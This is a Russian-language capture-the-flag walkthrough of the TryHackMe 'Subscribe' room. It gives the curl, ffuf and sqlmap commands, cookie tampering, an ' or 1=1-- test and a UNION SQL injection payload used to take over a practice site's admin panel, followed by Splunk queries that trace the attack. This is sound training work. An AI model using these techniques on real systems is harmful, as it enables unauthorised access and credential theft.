Logo

TryHack3M: Subscribe

Can you help Hack3M reach 3M subscribers?

TryHack3M: Subscribe

TryHackMe: Прохождение комнаты Subscribe.

Часть модуля TryHack3M Special.

Доступ к комнате доступен только для аккаунтов с премиальной подпиской.

Имеется сайт, который был взломан и на нём была отключена регистрация новых пользователей, необходимо восстановить доступ и вновь запустить регистрацию.

После необходимо изучить логи и обнаружить каким образом хакеры взломали веб-приложение.

Exploitation

What is the invite code for the hackme.thm website?

Прежде чем начать, необходимо не забыть добавить запись <IP-адрес> hackme.thm в /etc/hosts, где <IP-адрес> – это адрес запущенной машины.

При открытии сайта имеется возможность регистрации и авторизации. При попытке регистрации указано, что регистрация отключена и вход возможен только по приглашениям.

Изучение исходного кода страницы приводит к скрипту invite.js:

function e() {
  var e = window.location.hostname;
  if (e === 'capture3millionsubscribers.thm') {
    var o = new XMLHttpRequest;
    o.open('POST', 'inviteCode1337HM.php', true);
    o.onload = function () {
      if (this.status == 200) {
        console.log('Invite Code:', this.responseText)
      } else {
        console.error('Error fetching invite code.')
      }
    };
    o.send()
  } else if (e === 'hackme.thm') {
    console.log('This function does not operate on hackme.thm')
  } else {
    console.log('Lol!! Are you smart enought to get the invite code?')
  }
}

Похоже, имеется возможность получить пригласительный код на сайте capture3millionsubscribers.thm. Поскольку предполагается, что сайт располагается по тому же самому IP адресу, что и hackme.thm, запрос будет следующего вида:

$ curl "http://hackme.thm/inviteCode1337HM.php" -X POST --header 
   'Referer: http://capture3millionsubscribers.thm'
Пригласительный код

Запрос возвращает код приглашения.


What is the password for the user guest@hackme.thm?

Ввод кода приглашения на странице регистрации http://hackme.thm/sign_up.php выдает пару для гостевого входа на сервис: адрес электронной почты и пароль.

Гостевой вход


What is the secure token for accessing the admin panel?

После авторизации на сайте с полученными данными гостевого входа пользователь получает доступ к двум обучающим комнатам. Первая из них бесплатная, вторая же только для vip пользователей и попытка её открыть автоматически переводит на страницу подключить платную подписку.

Если изучить куки на сайте, можно обнаружить isVip со значением false. После изменения на true, появляется возможность открыть вторую комнату.

Куки

В данной комнате при попытке запустить машину, появляется сообщение, что это возможно только для vip пользователей. Изучение скрипта показывает что необходимо в скрытом элементе с идентификатором isVIP установить значение в true:

<input type="hidden" id="isVIP" value="true">

Теперь запуск машины приводит к появлению окна с консолью машины (для этого загружается BBF813FA941496FCE961EBA46D754FF3.php). Изучение скрипта обработки команд дает подсказку какие команды можно использовать:

$(document).ready(function() {
  $("#shell_commands").on("keydown", function(event) {
    if(event.which == 13) { 
	// Hackme.thm emulator capable of exeuting following commands:
	// - run  <machine AMI>
	// - whoami "returns username"
	// - ls "list the files"
	// - cat <filename> "list contents of files accessed jointly by dev and prod team"
      var cmd = $("#shell_commands").val(); 
      $.get("run_machine_hackme.php", { command: cmd }, function(data) {
        var output = data; 
	var output = decodeHtmlEntities(data);
        $("#shell_output").text(output);
      })
      .fail(function() {
        $("#shell_output").text("Error executing command.");
      });
      $("#shell_commands").val('');
    }
  });
});

Альтернативно можно выполнить команды напрямую с помощью curl; интересным является содержимое файла config.php, где содержится адрес панели для администрирования и код доступа в переменной $SECURE_TOKEN:

$ curl "http://hackme.thm/run_machine_hackme.php" --url-query
 "command=cat config.php" -b "PHPSESSID=n09umj5fvb260lm90l42sap8eh; isVIP=true"
Код доступа к админ-панели


What is the flag value after enabling the registration feature and getting 3M subscribers on the platform?

Для продолжения в файл /etc/hosts необходимо добавить запись для admin1337special.hackme.thm соответствующий IP-адресу запущенной машины.

При попытке открыть адрес http://admin1337special.hackme.thm:40009 происходит автоматическое перенаправление на /public/html/ и выводится сообщение об отсутствии доступа.

С помощью ffuf можно провести перебор на поиск дополнительных каталогов:

Если у вас в системе нет словарей (из коробки они имеются, например, в linux дистрибутивах Parrot и Kali), то их можно скачать в репозитории SecLists.

$ ffuf -u "http://admin1337special.hackme.thm:40009/public/html/FUZZ" -c -ac
  -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-small-directories-lowercase.txt
Сканирование

Обнаружены три дополнительных точки входа: login, logout и dashboard.

При открытии адреса /public/html/login будет запрошен код доступа, это ранее полученный код для доступа к панели администрирования. После его ввода появляется окно авторизации с требованием логина и пароля. Попытка ввода данных для гостевого входа ни к чему не приводит, появляется сообщение о неверном логине либо пароле.

Актуально как минимум для версии tryhackm3v2.1

В комнате присутствует баг: если установить полученную ранее гостевую куку PHPSESSID=n09umj5fvb260lm90l42sap8eh, тогда сразу же будет открыт доступ к /dashboard и прохождение комнаты, по сути, будет завершено.

Очевидно, что гостевой доступ не может предоставлять доступ к панели администратора, на практике же возможно и такое, собственно как в данном случае и получилось, когда все механизмы защиты оказались бесполезны в силу ошибки разработчиков.

Самая простая проверка на SQL-инъекции в виде ввода в поле логина ' or 1=1-- приводит к тому, что сообщение об ошибке не появляется. Форма авторизации уязвима и можно запустить полную проверку с помощью sqlmap.

Для этого необходимо правильно сформировать POST запрос и сохранить в отдельный файл (req.txt), запрос можно взять прямо из браузера (самые популярные браузеры имеют инструмент Web Inspector, где это возможно проделать на вкладке Network), либо перехватить с помощью Burp Suite.

$ cat "req.txt"
POST /api/login.php HTTP/1.1
Host: admin1337special.hackme.thm:40009
Accept: */*
Content-Type: application/json

{"username":"*", "password":"*"}

Сканирование:

$ sqlmap -r "req.txt" --dbs -v0
Список баз данных

В полученном списке баз данных особый интерес представляют две: hackme и phpmyadmin. Последняя, увы, пуста. А первая содержит полезные данные:

$ sqlmap -r "req.txt" -v0 -D hackme --dump
Database: hackme
Table: users
[1 entry]
+----+------------------+------------+--------+--------+------------+----------+
| id | email            | name       | role   | status | password   | username |
+----+------------------+------------+--------+--------+------------+----------+
| 1  | admin@hackme.thm | Admin User | admin  | 1      | <redacted> | admin    |
+----+------------------+------------+--------+--------+------------+----------+

Database: hackme
Table: config
[1 entry]
+----+--------+---------+
| id | title  | value   |
+----+--------+---------+
| 1  | signup | invite  |
+----+--------+---------+

Получен логин и пароль администратора (role = admin), так же в таблице config можно заметить, что регистрация (title = signup) заблокирована ибо в качестве её способа выбраны приглашения (value = invite).

Используя полученные данные учётной записи можно авторизоваться на странице http://admin1337special.hackme.thm:40009/public/html/login и получить доступ к настройке типа регистрации и выбрать пункт “Sign Up”.

Теперь достаточно открыть главную страницу сайта hackme.thm и получить финальный флаг:

Список баз данных

Актуально как минимум для версии tryhackm3v2.1

Баг комнаты: следуя логике, на странице http://hackme.thm/sign_up.php должна была бы появиться форма для регистрации пользователей, однако там по-прежнему указано, что регистрация отключена и необходимо ввести код приглашения.


Detection. Investigating the Attack

How many logs are ingested in the Splunk instance?

В Splunk выбирается новый поиск (New Search), в поле ввода указывается символ “звездочка” и в фильтре пункт “All time”:

Splunk. Все записи

Прямо под запросом отображается количество записей (1).

What is the web hacking tool used by the attacker to exploit the vulnerability on the website?

В поле поиска задается статистика для поля user_agent для отображения самых редких значений:

*| rare limit=20 user_agent
Splunk. User agent

Сразу же бросается в глаза (2) использование популярного инструмента.

Там же указано и количество событий (3) связанных с использованием данного инструмента.

What is the observed IP address of the attacker?

Выбрав на предыдущем шаге запись с обнаруженным агентом, в поиске будут отображаться все события связанный только с ним. Соответственно сразу виден IP-адрес злоумышленника. Поиск записей только для данного адреса (4):

Splunk. IP-адрес

How many events were observed from the attacker’s IP?

Сразу под полем для поиска отображается количество событий (5) связанных с IP-адресом злоумышленника.

What is the table used by the attacker to execute the attack?

Под кнопкой поиска необходимо убедиться, что выбран умный режим (Smart Mode), тогда появляется возможность в левой части окна, где расположены все поля всех записей выбрать поле uri, где сразу бросается в глаза используемый злоумышленником запрос для SQL-инъекции и имя таблицы из которой были получены данные:

SSywp=7014 AND 1=1 UNION ALL SELECT 1,username,password,2,3,4 
FROM <REDACTED> WHERE role="admin" ORDER BY role LIMIT 1--/**/;


На этом всё,
другие части модуля здесь.